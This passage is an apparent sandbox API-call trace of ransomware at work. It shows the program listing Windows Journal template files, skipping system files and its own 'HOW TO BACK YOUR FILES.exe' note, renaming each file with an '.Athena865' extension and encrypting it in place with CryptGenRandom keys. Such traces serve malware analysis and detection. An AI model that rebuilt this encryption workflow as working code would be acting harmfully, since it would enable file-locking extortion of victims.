(HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.674] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.674] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.674] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.675] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f90, lpName=0x0) returned 0x154 [0090.676] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f90) returned 0x100000 [0090.678] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.679] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.679] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.680] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.680] CloseHandle (hObject=0x154) returned 1 [0090.680] CloseHandle (hObject=0x17c) returned 1 [0090.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.680] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0090.680] lstrcmpiW (lpString1="Graph.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.680] lstrcmpiW (lpString1="Graph.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2=".") returned 1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="..") returned 1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="windows") returned -1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="bootmgr") returned 1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="temp") returned -1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="pagefile.sys") returned -1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="boot") returned 1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="ids.txt") returned -1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="ntuser.dat") returned -1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="perflogs") returned -1 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2="MSBuild") returned -1 [0090.681] lstrlenW (lpString="Graph.jtp") returned 9 [0090.681] lstrcpyW (in: lpString1=0x241e89e, lpString2="Graph.jtp" | out: lpString1="Graph.jtp") returned="Graph.jtp" [0090.681] lstrlenW (lpString="Graph.jtp") returned 9 [0090.681] lstrlenW (lpString="Athena865") returned 9 [0090.681] lstrlenW (lpString=".dll") returned 4 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2=".dll") returned 1 [0090.681] lstrlenW (lpString=".lnk") returned 4 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2=".lnk") returned 1 [0090.681] lstrlenW (lpString=".ini") returned 4 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2=".ini") returned 1 [0090.681] lstrlenW (lpString=".sys") returned 4 [0090.681] lstrcmpiW (lpString1="Graph.jtp", lpString2=".sys") returned 1 [0090.681] lstrlenW (lpString="Graph.jtp") returned 9 [0090.681] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp.Athena865") returned 62 [0090.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp.athena865"), dwFlags=0x1) returned 1 [0090.683] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.683] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=123228) returned 1 [0090.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.683] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.684] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.684] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.684] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e460, lpName=0x0) returned 0x154 [0090.688] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e460) returned 0x100000 [0090.694] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.694] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.694] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.695] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.696] CloseHandle (hObject=0x154) returned 1 [0090.696] CloseHandle (hObject=0x17c) returned 1 [0090.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.697] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf5322e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbf5322e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0090.697] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0090.697] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2=".") returned 1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="..") returned 1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="windows") returned -1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="bootmgr") returned 1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="temp") returned -1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="pagefile.sys") returned -1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="boot") returned 1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="ids.txt") returned 1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="ntuser.dat") returned -1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="perflogs") returned -1 [0090.697] lstrcmpiW (lpString1="Memo.jtp", lpString2="MSBuild") returned -1 [0090.697] lstrlenW (lpString="Memo.jtp") returned 8 [0090.697] lstrcpyW (in: lpString1=0x241e89e, lpString2="Memo.jtp" | out: lpString1="Memo.jtp") returned="Memo.jtp" [0090.697] lstrlenW (lpString="Memo.jtp") returned 8 [0090.697] lstrlenW (lpString="Athena865") returned 9 [0090.698] lstrlenW (lpString=".dll") returned 4 [0090.698] lstrcmpiW (lpString1="Memo.jtp", lpString2=".dll") returned 1 [0090.698] lstrlenW (lpString=".lnk") returned 4 [0090.698] lstrcmpiW (lpString1="Memo.jtp", lpString2=".lnk") returned 1 [0090.698] lstrlenW (lpString=".ini") returned 4 [0090.698] lstrcmpiW (lpString1="Memo.jtp", lpString2=".ini") returned 1 [0090.698] lstrlenW (lpString=".sys") returned 4 [0090.698] lstrcmpiW (lpString1="Memo.jtp", lpString2=".sys") returned 1 [0090.698] lstrlenW (lpString="Memo.jtp") returned 8 [0090.698] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp.Athena865") returned 61 [0090.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp.athena865"), dwFlags=0x1) returned 1 [0090.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.700] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=159598) returned 1 [0090.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.700] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.701] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.701] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.701] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27270, lpName=0x0) returned 0x154 [0090.702] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27270) returned 0x170000 [0090.709] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.710] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.710] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.710] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.711] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0090.712] CloseHandle (hObject=0x154) returned 1 [0090.712] CloseHandle (hObject=0x17c) returned 1 [0090.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.713] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".") returned 1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="..") returned 1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="windows") returned -1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="bootmgr") returned 1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="temp") returned -1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="pagefile.sys") returned -1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="boot") returned 1 [0090.713] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="ids.txt") returned 1 [0090.714] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="ntuser.dat") returned -1 [0090.714] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="perflogs") returned -1 [0090.714] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2="MSBuild") returned -1 [0090.714] lstrlenW (lpString="Month_Calendar.jtp") returned 18 [0090.714] lstrcpyW (in: lpString1=0x241e89e, lpString2="Month_Calendar.jtp" | out: lpString1="Month_Calendar.jtp") returned="Month_Calendar.jtp" [0090.714] lstrlenW (lpString="Month_Calendar.jtp") returned 18 [0090.714] lstrlenW (lpString="Athena865") returned 9 [0090.714] lstrcmpiW (lpString1="endar.jtp", lpString2="Athena865") returned 1 [0090.714] lstrlenW (lpString=".dll") returned 4 [0090.714] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".dll") returned 1 [0090.714] lstrlenW (lpString=".lnk") returned 4 [0090.714] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".lnk") returned 1 [0090.714] lstrlenW (lpString=".ini") returned 4 [0090.714] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".ini") returned 1 [0090.714] lstrlenW (lpString=".sys") returned 4 [0090.714] lstrcmpiW (lpString1="Month_Calendar.jtp", lpString2=".sys") returned 1 [0090.714] lstrlenW (lpString="Month_Calendar.jtp") returned 18 [0090.714] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp.Athena865") returned 71 [0090.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp.athena865"), dwFlags=0x1) returned 1 [0090.715] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\month_calendar.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.715] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10076) returned 1 [0090.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.715] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.715] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.716] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.716] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.717] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a60, lpName=0x0) returned 0x154 [0090.718] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a60) returned 0x100000 [0090.719] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.719] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.720] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.721] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.721] CloseHandle (hObject=0x154) returned 1 [0090.721] CloseHandle (hObject=0x17c) returned 1 [0090.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.722] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2=".") returned 1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="..") returned 1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="windows") returned -1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="bootmgr") returned 1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="temp") returned -1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="pagefile.sys") returned -1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="boot") returned 1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="ids.txt") returned 1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="ntuser.dat") returned -1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="perflogs") returned -1 [0090.722] lstrcmpiW (lpString1="Music.jtp", lpString2="MSBuild") returned 1 [0090.722] lstrlenW (lpString="Music.jtp") returned 9 [0090.722] lstrcpyW (in: lpString1=0x241e89e, lpString2="Music.jtp" | out: lpString1="Music.jtp") returned="Music.jtp" [0090.722] lstrlenW (lpString="Music.jtp") returned 9 [0090.722] lstrlenW (lpString="Athena865") returned 9 [0090.722] lstrlenW (lpString=".dll") returned 4 [0090.723] lstrcmpiW (lpString1="Music.jtp", lpString2=".dll") returned 1 [0090.723] lstrlenW (lpString=".lnk") returned 4 [0090.723] lstrcmpiW (lpString1="Music.jtp", lpString2=".lnk") returned 1 [0090.723] lstrlenW (lpString=".ini") returned 4 [0090.723] lstrcmpiW (lpString1="Music.jtp", lpString2=".ini") returned 1 [0090.723] lstrlenW (lpString=".sys") returned 4 [0090.723] lstrcmpiW (lpString1="Music.jtp", lpString2=".sys") returned 1 [0090.723] lstrlenW (lpString="Music.jtp") returned 9 [0090.723] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp.Athena865") returned 62 [0090.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp.athena865"), dwFlags=0x1) returned 1 [0090.724] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.724] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40792) returned 1 [0090.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.724] RtlAllocateHeap (HeapHandle=0x4f0000, 